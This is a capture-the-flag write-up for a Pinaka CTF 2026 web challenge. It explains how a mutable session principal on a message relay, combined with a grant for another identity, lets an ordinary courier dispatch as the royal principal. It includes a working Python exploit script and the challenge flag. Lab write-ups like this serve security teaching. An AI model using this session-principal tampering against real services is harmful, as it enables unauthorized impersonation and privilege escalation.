Web Exploitation / Pinaka CTF 2026

Kishkindha Duta-Mesh

02 Nov 2026 · 2 min read

Combine a mutable session principal with a grant for another identity to dispatch a royal message as an ordinary courier.

Goal

Dispatch the royal war-writ through the JSON messenger relay at http://130.210.48.10:9006 while starting as an ordinary courier.

Reconnaissance

GET / listed the relay endpoints. GET /court/principals showed that sugriva is the only principal with royal rank. POST /court/open with {} returned a session token, session ID, session key, and a signed self-grant for the courier to relay on behalf of guild.

The session token belongs in the JSON request body. For example, GET /court/session with {"session_token":"<token>"} returned the courier's current on_behalf value. The open response also specified the dispatch seal:

text
base64url(HMAC-SHA256(session_key, sid + "|" + SHA256(scroll).hexdigest()))

Exploit

The POST /court/reseal endpoint accepted an on_behalf value without a delegation grant. Sending the existing session token with "on_behalf":"sugriva" changed the session's claimed principal to the king.

I then computed a seal for the scroll war-writ using the session key and ID from /court/open, and sent it to POST /court/dispatch with the original guild self-grant:

json
{
  "session_token": "<token from /court/open>",
  "scroll": "war-writ",
  "seal": "<computed seal>",
  "grant": "<self_grant from /court/open>"
}

The relay returned acting_principal: "sugriva" and result: "sealed", even though its audit attributed the grant to guild. The authorization check used the mutable session principal for royal rank while accepting a valid grant for a different principal. This mismatch let a guild courier dispatch the war-writ.

Reproduce

python
import base64
import hashlib
import hmac
import json
from urllib.request import Request, urlopen

BASE = "http://130.210.48.10:9006"

def post(path, data):
    body = json.dumps(data).encode()
    request = Request(BASE + path, body, {"Content-Type": "application/json"})
    with urlopen(request) as response:
        return json.load(response)

session = post("/court/open", {})
post("/court/reseal", {
    "session_token": session["session_token"],
    "on_behalf": "sugriva",
})

scroll = "war-writ"
digest = hashlib.sha256(scroll.encode()).hexdigest()
message = (session["sid"] + "|" + digest).encode()
mac = hmac.new(bytes.fromhex(session["session_key"]), message, hashlib.sha256).digest()
seal = base64.urlsafe_b64encode(mac).rstrip(b"=").decode()

result = post("/court/dispatch", {
    "session_token": session["session_token"],
    "scroll": scroll,
    "seal": seal,
    "grant": session["self_grant"],
})
print(result)

Flag

text
PINAKA{kishkindha_the_exile_meets_the_outcast_king}